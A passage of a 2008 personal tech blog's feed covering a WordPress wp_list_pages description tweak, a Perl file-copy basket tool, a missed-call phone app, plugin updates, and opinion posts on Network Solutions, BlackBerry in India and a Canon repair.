&lt;p&gt;If the &amp;ldquo;description&amp;rdquo; field is not present (obviously you might not like to go back and add a custom field to all your pages), it takes the first 250 characters of your page&amp;rsquo;s content and displays that.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The Hack Is Not Finished Yet:&lt;/strong&gt; There is just one little thing left to do. As I mentioned, this function is used other times as well (e.g. making your navigation menu). So, you don&amp;rsquo;t want the description to be appearing always, otherwise it will wreak havoc on your site&amp;rsquo;s layout. So, there is again a dirty little trick to prevent this.&lt;/p&gt;
&lt;p&gt;At the place where you are calling wp_list_pages, modify the call to include the following code before and after the call:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;update_option&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;my_wp_list_pages_option&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$content &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wp_list_pages&lt;/span&gt;($your_wp_list_pages_options);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;update_option&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;my_wp_list_pages_option&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, modify the previously listed code as well to look like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$my_wp_list_pages_option &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_option&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;my_wp_list_pages_option&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($my_wp_list_pages_option &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $description &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_post_meta&lt;/span&gt;($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ID&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ID&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; $current_page)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $output &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt; &amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;$description)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $description &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strip_tags&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;substr&lt;/span&gt;($page&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;post_content&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;250&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $output &lt;span style="color:#f92672"&gt;.=&lt;/span&gt; $description;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What this does now is that it adds an option/variable to WordPress database, which you set to 1 before calling wp_list_pages to tell your code that now its time to display the description, and then restore its state to 0, to prevent the description from being displayed for any other wp_list_pages call.&lt;/p&gt;
&lt;p&gt;For your reference, I&amp;rsquo;m attaching my copy of classes.php here.&lt;strong&gt;&lt;a href="http://tech.shantanugoel.com/uploads/classes.php.zip"&gt;File Attachment: classes.php.zip (6 KB)&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;For an example of how it finally looks like, take a look at my &amp;ldquo;&lt;a href="http://tech.shantanugoel.com/projects"&gt;Project&lt;/a&gt;&amp;rdquo; page.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Now It Is Finished:&lt;/strong&gt; Yes, am not lying. It&amp;rsquo;s done. All your &amp;ldquo;Thank You&amp;rsquo;s&amp;rdquo; are accepted, and so are your flames, if any &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt="Smile"&gt;.&lt;/p&gt;</content></item><item><title>Windows Mobile: Missed Call Made Easy (Indian Cell Owners Rejoice)</title><link>https://shantanugoel.com/2008/03/18/windows-mobile-missed-call-made-easy-indian-cell-owners-rejoice/</link><pubDate>Tue, 18 Mar 2008 15:12:34 +0000</pubDate><guid>https://shantanugoel.com/2008/03/18/windows-mobile-missed-call-made-easy-indian-cell-owners-rejoice/</guid><description>&lt;p&gt;Perdida = Missed Call (in Spanish)&lt;/p&gt;
&lt;p&gt;Missed Call = Ubiquitous Necessity (atleast in India)&lt;/p&gt;
&lt;p&gt;Enter: &lt;a href="http://forum.xda-developers.com/showthread.php?t=377475"&gt;cPerdidas&lt;/a&gt; -&amp;gt; A Windows Mobile program (works with WM5 as well as WM6) that will allow you to make missed calls to anyone you desire. Just config your country code, select the contact and &amp;ldquo;Hacer Perdida!&amp;rdquo; (Make the missed call) and your contact will get the missed call on his device. The only change is that the program will cut the call even before he can hear his phone ring. So, whenever he looks at his phone, he&amp;rsquo;ll know that you called. Hmmm, pretty useful for times when you just want to send your loved one a note that you missed them, without disturbing him/her in a meeting and, of course, without spending a penny, or waiting with your fingers clenched onto to End button tighter than a F1 driver&amp;rsquo;s fingers on the pit lane speed limiter.&lt;/p&gt;</description><content>&lt;p&gt;Perdida = Missed Call (in Spanish)&lt;/p&gt;
&lt;p&gt;Missed Call = Ubiquitous Necessity (atleast in India)&lt;/p&gt;
&lt;p&gt;Enter: &lt;a href="http://forum.xda-developers.com/showthread.php?t=377475"&gt;cPerdidas&lt;/a&gt; -&amp;gt; A Windows Mobile program (works with WM5 as well as WM6) that will allow you to make missed calls to anyone you desire. Just config your country code, select the contact and &amp;ldquo;Hacer Perdida!&amp;rdquo; (Make the missed call) and your contact will get the missed call on his device. The only change is that the program will cut the call even before he can hear his phone ring. So, whenever he looks at his phone, he&amp;rsquo;ll know that you called. Hmmm, pretty useful for times when you just want to send your loved one a note that you missed them, without disturbing him/her in a meeting and, of course, without spending a penny, or waiting with your fingers clenched onto to End button tighter than a F1 driver&amp;rsquo;s fingers on the pit lane speed limiter.&lt;/p&gt;
&lt;p&gt;Note: Though the original app is in spanish, it has support for adding other languages, so for English support (and easily installable cab format), look at &lt;a href="http://forum.xda-developers.com/showthread.php?t=377475&amp;amp;page=3"&gt;this page&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>Project: Shantz Copy Basket (Compatible with linux as well as windows)</title><link>https://shantanugoel.com/2008/03/16/project-shantz-copy-basket-compatible-with-linux-as-well-as-windows/</link><pubDate>Sun, 16 Mar 2008 13:26:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/16/project-shantz-copy-basket-compatible-with-linux-as-well-as-windows/</guid><description>&lt;p&gt;I’m sure you have copied/moved files on your computer from one place to another. And I’m sure often you have to do more than just “single-shot” copying that is copy a few files to one place, move a few to another, and copy yet some more to one more location. Well, I had to do this quite a few times (e.g. I ran out of disk space recently on a partition and had to empty out my “Movies” and “Songs” folders to move a few movies/songs each to all other partitions/disks according to the space available). Hence, I wrote this little command line program, which behaves like a basket.&lt;/p&gt;</description><content>&lt;p&gt;I’m sure you have copied/moved files on your computer from one place to another. And I’m sure often you have to do more than just “single-shot” copying that is copy a few files to one place, move a few to another, and copy yet some more to one more location. Well, I had to do this quite a few times (e.g. I ran out of disk space recently on a partition and had to empty out my “Movies” and “Songs” folders to move a few movies/songs each to all other partitions/disks according to the space available). Hence, I wrote this little command line program, which behaves like a basket.&lt;/p&gt;
&lt;p&gt;You can put any number of files from any number of different locations into it in a single shot. It will store their locations and give them an ID. Now, you can copy/move those files to different destinations based on their IDs. What&amp;rsquo;s even better is that your basket will remain intact even across reboots. So, you can continue working on the files in the basket even for days.&lt;/p&gt;
&lt;p&gt;**Note: **Packages for windows as well as linux have been uploaded. If you have perl, a perl script is also given that works in both platforms without change. I have tested it on Windows XP SP2 and Ubuntu Feisty Fawn 7.04.&lt;/p&gt;</content></item><item><title>Shantz Copy Basket</title><link>https://shantanugoel.com/2008/03/16/shantz-cp-basket/</link><pubDate>Sun, 16 Mar 2008 13:08:46 +0000</pubDate><guid>https://shantanugoel.com/2008/03/16/shantz-cp-basket/</guid><description>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I’m sure you have copied/moved files on your computer from one place to another. And I’m sure often you have to do more than just “single-shot” copying that is copy a few files to one place, move a few to another, and copy yet some more to one more location. Well, I had to do this quite a few times (e.g. I ran out of disk space recently on a partition and had to empty out my “Movies” and “Songs” folders to move a few movies/songs each to all other partitions/disks according to the space available). Hence, I wrote this little command line program, which behaves like a basket.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I’m sure you have copied/moved files on your computer from one place to another. And I’m sure often you have to do more than just “single-shot” copying that is copy a few files to one place, move a few to another, and copy yet some more to one more location. Well, I had to do this quite a few times (e.g. I ran out of disk space recently on a partition and had to empty out my “Movies” and “Songs” folders to move a few movies/songs each to all other partitions/disks according to the space available). Hence, I wrote this little command line program, which behaves like a basket.&lt;/p&gt;
&lt;p&gt;You can put any number of files from any number of different locations into it in a single shot. It will store their locations and give them an ID. Now, you can copy/move those files to differnet destinations based on their IDs. What&amp;rsquo;s even better is that your basket will remain intact even across reboots. So, you can continue working on the files in the basket even for days.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The program is multi-platform compatible as I wrote it in Perl and took care of using portable methods only. So, if you have perl installed, you can just download the above perl file and install “File-Copy-Recursive” Module (rest are most probably installed already) and you are good to go.&lt;/p&gt;
&lt;p&gt;For people who don’t have perl, I’ve uploaded the stand-alone packages for windows as well as linux users. Download according to your platform and you can use them straight away without any hassles.&lt;/p&gt;
&lt;p&gt;For the record, I tested this script as well as the executables on Windows XP SP2 and Ubuntu Feisty Fawn 7.04.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;shantz-cp [OPTION] [FILE] [DESTPATH]&lt;/p&gt;
&lt;p&gt;Options:
-l, &amp;ndash;list List files in the basket.
Doesn&amp;rsquo;t take [FILE]/[DEST] Arguments
-a, &amp;ndash;add Add file(s) to the basket.
Provide absolute/relative path of file(s) as argument
-r, &amp;ndash;remove Remove file(s) from the basket
Provide absolute/relative path of file(s) as argument
-ri, &amp;ndash;removeid Remove file(s) from the basket using their basket id
Provide id(s) of file(s) as argument
-pi, &amp;ndash;pasteid Paste a file from the basket to the given destination
Provide file id(s) to be pasted followed by relative/absolute path of destination
-m, &amp;ndash;move Use this option along with paste option to move the files instead of copy&lt;/p&gt;
&lt;p&gt;Arguments:
[FILE] Any number of files can be mentioned
Paths can be relative to current dir or absolute
Cannot use with list option
[DESTPATH] Only 1 path can be given
Path can be relative to current dir or absolute
Can be used only with paste option&lt;/p&gt;
&lt;p&gt;Notes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Only 1 option can be used at a time, except for the &amp;ldquo;move&amp;rdquo; and &amp;ldquo;pasteid&amp;rdquo; combinations&lt;/li&gt;
&lt;li&gt;For any queries/help/updates, please post a comment here.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Examples:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantanu@wtf:~/stuff$ ./shantz-cp -a *
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File /home/shantanu/stuff/conky.sh already exists at ID 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File /home/shantanu/stuff/hosts.txt already exists at ID 0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File /home/shantanu/stuff/movie2mobile.py already exists at ID 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Added /home/shantanu/stuff/places_menu.txt at ID 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Added /home/shantanu/stuff/rapt at ID 4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantanu@wtf:~/stuff$ ./shantz-cp -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No of files in basket: 5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File ID. 0: /home/shantanu/stuff/hosts.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File ID. 1: /home/shantanu/stuff/conky.sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File ID. 2: /home/shantanu/stuff/movie2mobile.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File ID. 3: /home/shantanu/stuff/places_menu.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;File ID. 4: /home/shantanu/stuff/rapt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantanu@wtf:~/stuff$ ./shantz-cp -ri 2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Removed /home/shantanu/stuff/movie2mobile.py from basket
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantanu@wtf:~/stuff$ ./shantz-cp -pi 1 3 temp/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copied /home/shantanu/stuff/conky.sh to /home/shantanu/stuff/temp/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Copied /home/shantanu/stuff/places_menu.txt to /home/shantanu/stuff/temp/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shantanu@wtf:~/stuff$ ./shantz-cp -m -pi 0 /home/shantanu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Moved /home/shantanu/stuff/hosts.txt to /home/shantanu/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content></item><item><title>Project: shantz-wp-qotd and shantz-wp-prefix-suffix updated</title><link>https://shantanugoel.com/2008/03/15/project-shantz-wp-qotd-and-shantz-wp-prefix-suffix-updated/</link><pubDate>Sat, 15 Mar 2008 17:26:52 +0000</pubDate><guid>https://shantanugoel.com/2008/03/15/project-shantz-wp-qotd-and-shantz-wp-prefix-suffix-updated/</guid><description>&lt;p&gt;Just some news on my WordPress plugins front. shantz-wp-qotd has been updated to version 1.2.1 and shantz-wp-prefix-suffix has been updated to 1.0.1. It is just a minor update meant for people still using a WordPress version &amp;lt; 2.1. The update makes the &amp;ldquo;page exclusion&amp;rdquo; feature of both the plugins (i.e. the option to prevent the plugins from acting on &amp;ldquo;pages&amp;rdquo;) compatible with WP &amp;lt; 2.1 as well.&lt;/p&gt;
&lt;p&gt;Go to their respective pages for downloads:&lt;/p&gt;</description><content>&lt;p&gt;Just some news on my WordPress plugins front. shantz-wp-qotd has been updated to version 1.2.1 and shantz-wp-prefix-suffix has been updated to 1.0.1. It is just a minor update meant for people still using a WordPress version &amp;lt; 2.1. The update makes the &amp;ldquo;page exclusion&amp;rdquo; feature of both the plugins (i.e. the option to prevent the plugins from acting on &amp;ldquo;pages&amp;rdquo;) compatible with WP &amp;lt; 2.1 as well.&lt;/p&gt;
&lt;p&gt;Go to their respective pages for downloads:&lt;/p&gt;</content></item><item><title>Caution: "Network Solutions", Stay As Far As Possible</title><link>https://shantanugoel.com/2008/03/14/caution-network-solutions-stay-as-far-as-possible/</link><pubDate>Fri, 14 Mar 2008 20:56:23 +0000</pubDate><guid>https://shantanugoel.com/2008/03/14/caution-network-solutions-stay-as-far-as-possible/</guid><description>&lt;p&gt;If you had a dream of starting your own website, your online abode, and you wanted to see whether the pretty little name for your dream house is available or not, what do you do? Check its availability on one of the many domain sellers&amp;rsquo; sites. And if you picked &amp;ldquo;&lt;a href="http://www.networksolutions.com/"&gt;Network Solutions&lt;/a&gt;&amp;rdquo; to do the search, then you have just been scammed my dear friend.&lt;/p&gt;
&lt;p&gt;Did you wonder, that though Network Solutions showed the domain name as available, but yet when you searched and found a cheaper registrar, the domain name was suddenly…&lt;strong&gt;GONE&lt;/strong&gt;..What about the second one you had searched for at NetSol? Gone. Third One? Gone. Now, what is the probability of all 3 names being registered within 5 minutes of you searching for them? Probably one in a billion. No, its one in one (100%) if you searched on Network Solutions, as a &lt;a href="http://blog.twilightfairy.in/"&gt;friend&lt;/a&gt; of mine found out the hard way.&lt;/p&gt;</description><content>&lt;p&gt;If you had a dream of starting your own website, your online abode, and you wanted to see whether the pretty little name for your dream house is available or not, what do you do? Check its availability on one of the many domain sellers&amp;rsquo; sites. And if you picked &amp;ldquo;&lt;a href="http://www.networksolutions.com/"&gt;Network Solutions&lt;/a&gt;&amp;rdquo; to do the search, then you have just been scammed my dear friend.&lt;/p&gt;
&lt;p&gt;Did you wonder, that though Network Solutions showed the domain name as available, but yet when you searched and found a cheaper registrar, the domain name was suddenly…&lt;strong&gt;GONE&lt;/strong&gt;..What about the second one you had searched for at NetSol? Gone. Third One? Gone. Now, what is the probability of all 3 names being registered within 5 minutes of you searching for them? Probably one in a billion. No, its one in one (100%) if you searched on Network Solutions, as a &lt;a href="http://blog.twilightfairy.in/"&gt;friend&lt;/a&gt; of mine found out the hard way.&lt;/p&gt;
&lt;p&gt;Donning the detective cap, if you do a whois for all those domains, they will undoubtedly be registered with Network Solutions. And you are now in there clutches, to buy it for their exhorbitant prices, almost 4-5 times the normal prices.&lt;/p&gt;
&lt;p&gt;Actually, its not that bad as of now, because NetSol doesn&amp;rsquo;t really &amp;ldquo;buy&amp;rdquo; all those domain names (otherwise it&amp;rsquo;ll take less than a day for them to go bankrupt). They register it with ICANN but are allowed to cancel it within 5 days so they don&amp;rsquo;t have to pay any money. This clause was made to protect registrars from Credit Card fraud, but NetSol is using it to create their own fraud. As now, they can block the site for 5 days for free and people panic and buy it from them for their higher prices. They say that they do it to &amp;ldquo;protect&amp;rdquo; their customers. Hell, all they are protecting is the customers from buying it from their &amp;ldquo;cheaper&amp;rdquo; competitors as NetSol will sell it to anyone who pays and not just the guy who searched for it.&lt;/p&gt;
&lt;p&gt;So, if you have become a victim of this and can wait for 5 days, then do that instead of paying through your nose. I call for a boycott of all services of Network Solutions and not just the domain whois, so that they can learn a lesson.&lt;/p&gt;</content></item><item><title>Chinese LionKing800 cellphone claims 1-year standby</title><link>https://shantanugoel.com/2008/03/13/chinese-lionking800-cellphone-claims-1-year-standby/</link><pubDate>Thu, 13 Mar 2008 17:30:44 +0000</pubDate><guid>https://shantanugoel.com/2008/03/13/chinese-lionking800-cellphone-claims-1-year-standby/</guid><description>&lt;p&gt;Even though they are using a battery with 10 times the juice of a normal one, but still the claim is impressive on 2 counts acc to me:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The size of the battery &amp;ldquo;seems&amp;rdquo; to be not that big for having 10 times the mAs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Even with this battery, 1 year of standby and 3 days of talk time is impressive.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But one term spoils it all for me, &amp;ldquo;vaporware&amp;rdquo;, anyone? Check out more details at &lt;a href="http://www.engadgetmobile.com/2008/03/13/chinese-lionking800-cellphone-claims-1-year-standby/"&gt;Engadget Mobile&lt;/a&gt;.&lt;/p&gt;</description><content>&lt;p&gt;Even though they are using a battery with 10 times the juice of a normal one, but still the claim is impressive on 2 counts acc to me:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The size of the battery &amp;ldquo;seems&amp;rdquo; to be not that big for having 10 times the mAs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Even with this battery, 1 year of standby and 3 days of talk time is impressive.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But one term spoils it all for me, &amp;ldquo;vaporware&amp;rdquo;, anyone? Check out more details at &lt;a href="http://www.engadgetmobile.com/2008/03/13/chinese-lionking800-cellphone-claims-1-year-standby/"&gt;Engadget Mobile&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>Indian Govt. vs Blackberry: Yet Another Example of Idiocy From Our "Leaders"</title><link>https://shantanugoel.com/2008/03/12/indian-govt-vs-blackberry-yet-another-example-of-idiocy-from-our-leaders/</link><pubDate>Wed, 12 Mar 2008 19:45:48 +0000</pubDate><guid>https://shantanugoel.com/2008/03/12/indian-govt-vs-blackberry-yet-another-example-of-idiocy-from-our-leaders/</guid><description>&lt;p&gt;Just read on &lt;a href="http://www.boygeniusreport.com/2008/03/12/impending-blackberry-shutdown-in-india/bleName"&gt;BGR&lt;/a&gt;, that &lt;a href="http://www.rim.com/"&gt;RIM&lt;/a&gt; will have to close down its &lt;a href="http://en.wikipedia.org/wiki/BlackBerry"&gt;BlackBerry&lt;/a&gt; service in India if they don&amp;rsquo;t allow our government to snoop on every little piece of data that goes through it. WTF? On an even more serious note, if they do comply, then will the same demand be made to all the ISPs? I just shudder at the mere thought of this…Quotin BGR below&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It looks as if the Indian government is not content with its inability to decrypt their citizens BlackBerry e-mails, and is threatening a shutdown of Research In Motion&amp;rsquo;s devices in the country as punishment. &lt;em&gt;Business Standard&lt;/em&gt; reports that the Indian government desires access to RIM&amp;rsquo;s proprietary e-mail network, in order to monitor e-mails being sent and received through the country. It is reported that a meeting will take place on March 14th, involving RIM representatives, members of wireless companies within the country, and representatives of the Indian government.&lt;/p&gt;</description><content>&lt;p&gt;Just read on &lt;a href="http://www.boygeniusreport.com/2008/03/12/impending-blackberry-shutdown-in-india/bleName"&gt;BGR&lt;/a&gt;, that &lt;a href="http://www.rim.com/"&gt;RIM&lt;/a&gt; will have to close down its &lt;a href="http://en.wikipedia.org/wiki/BlackBerry"&gt;BlackBerry&lt;/a&gt; service in India if they don&amp;rsquo;t allow our government to snoop on every little piece of data that goes through it. WTF? On an even more serious note, if they do comply, then will the same demand be made to all the ISPs? I just shudder at the mere thought of this…Quotin BGR below&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It looks as if the Indian government is not content with its inability to decrypt their citizens BlackBerry e-mails, and is threatening a shutdown of Research In Motion&amp;rsquo;s devices in the country as punishment. &lt;em&gt;Business Standard&lt;/em&gt; reports that the Indian government desires access to RIM&amp;rsquo;s proprietary e-mail network, in order to monitor e-mails being sent and received through the country. It is reported that a meeting will take place on March 14th, involving RIM representatives, members of wireless companies within the country, and representatives of the Indian government.&lt;/p&gt;
&lt;/blockquote&gt;</content></item><item><title>I Heart Canon</title><link>https://shantanugoel.com/2008/03/10/i-heart-canon/</link><pubDate>Mon, 10 Mar 2008 15:23:59 +0000</pubDate><guid>https://shantanugoel.com/2008/03/10/i-heart-canon/</guid><description>&lt;p&gt;A gaping mouth was all I had when my 3 year ol&amp;rsquo; Canon Powershot S1 IS&amp;rsquo;s LCD/EVF went blank all of a sudden a few months ago. Nothing could be seen, clicking the picture button resulted in blank pics. Googling about it revealed an &lt;a href="http://www.usa.canon.com/consumer/controller?act=PgComSmModDisplayAct&amp;amp;fcategoryid=218&amp;amp;modelid=13390&amp;amp;keycode=2112&amp;amp;id=29819"&gt;advisory&lt;/a&gt; by Canon, stating that it is a known issue with the CCD image sensor. Canon impressed me by that notice when they said they will fix it for free, even for cameras out of warranty period, and will also pay to-and-fro shipping. Contacting canon support in India (support, in India? Is that a joke?) resulted in just their ignorance about any such advisory.&lt;/p&gt;</description><content>&lt;p&gt;A gaping mouth was all I had when my 3 year ol&amp;rsquo; Canon Powershot S1 IS&amp;rsquo;s LCD/EVF went blank all of a sudden a few months ago. Nothing could be seen, clicking the picture button resulted in blank pics. Googling about it revealed an &lt;a href="http://www.usa.canon.com/consumer/controller?act=PgComSmModDisplayAct&amp;amp;fcategoryid=218&amp;amp;modelid=13390&amp;amp;keycode=2112&amp;amp;id=29819"&gt;advisory&lt;/a&gt; by Canon, stating that it is a known issue with the CCD image sensor. Canon impressed me by that notice when they said they will fix it for free, even for cameras out of warranty period, and will also pay to-and-fro shipping. Contacting canon support in India (support, in India? Is that a joke?) resulted in just their ignorance about any such advisory.&lt;/p&gt;
&lt;p&gt;Undeterred, I sent the camera to the land of dreams (USA) with a friend, e-mailed the Canon USA support at &lt;a href="mailto:carecenter@cits.canon.com"&gt;carecenter@cits.canon.com&lt;/a&gt; with my predicament, and they promptly sent shipping labels to my friend. So far so good. But a couple of months went by, with no word from them. Customer support told me they are awaiting parts. Sad I was that day &lt;img src="https://shantanugoel.com/img/uploads/smile9.gif" alt=""&gt;.&lt;/p&gt;
&lt;p&gt;One fine day, I just checked the status of the return shipping label on a whim, and found that they had shipped my camera back. I was disheartened thinking it had been returned unrepaired, but then my friend called to let me know that they had sent some other camera back. I thought they might have sent some low price, refurbished camera, but atleast a working camera is better than a non-working one.&lt;/p&gt;
&lt;p&gt;Today my friend came back from the US, and what do we have? A brand spanking new &lt;a href="http://www.dpreview.com/news/0705/07050703canons5is.asp"&gt;Canon Powershot S5 IS &lt;/a&gt;(8 MP, 12x Optical zoom, flip out and twist LCD). Yessir &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;. Here is a pic of my new baby (Ah, the irony, the clicking powerhouse has been clicked with a low-res phone camera, but anyways.)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/canon_powershot_s5_is_small.jpg" alt="Canon_powershot_s5_is"&gt;&lt;/p&gt;
&lt;p&gt;Note: Contact canon immediately if you are facing the same problem and your camera is one of these:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Camcorders: ZR60, ZR65 MC, ZR70 MC, ZR80, ZR85, ZR90, ELURA 40 MC, ELURA 50&lt;/li&gt;
&lt;li&gt;Digital Cameras A60, A70, A75, A300, A310, S230, SD100, SD110, A40(&lt;em&gt;), A80(&lt;/em&gt;), A85(&lt;em&gt;), A95(&lt;/em&gt;), S1 IS(&lt;em&gt;), S60(&lt;/em&gt;), S200(&lt;em&gt;), S330(&lt;/em&gt;), S400(&lt;em&gt;), S410(&lt;/em&gt;), S500(*)&lt;/li&gt;
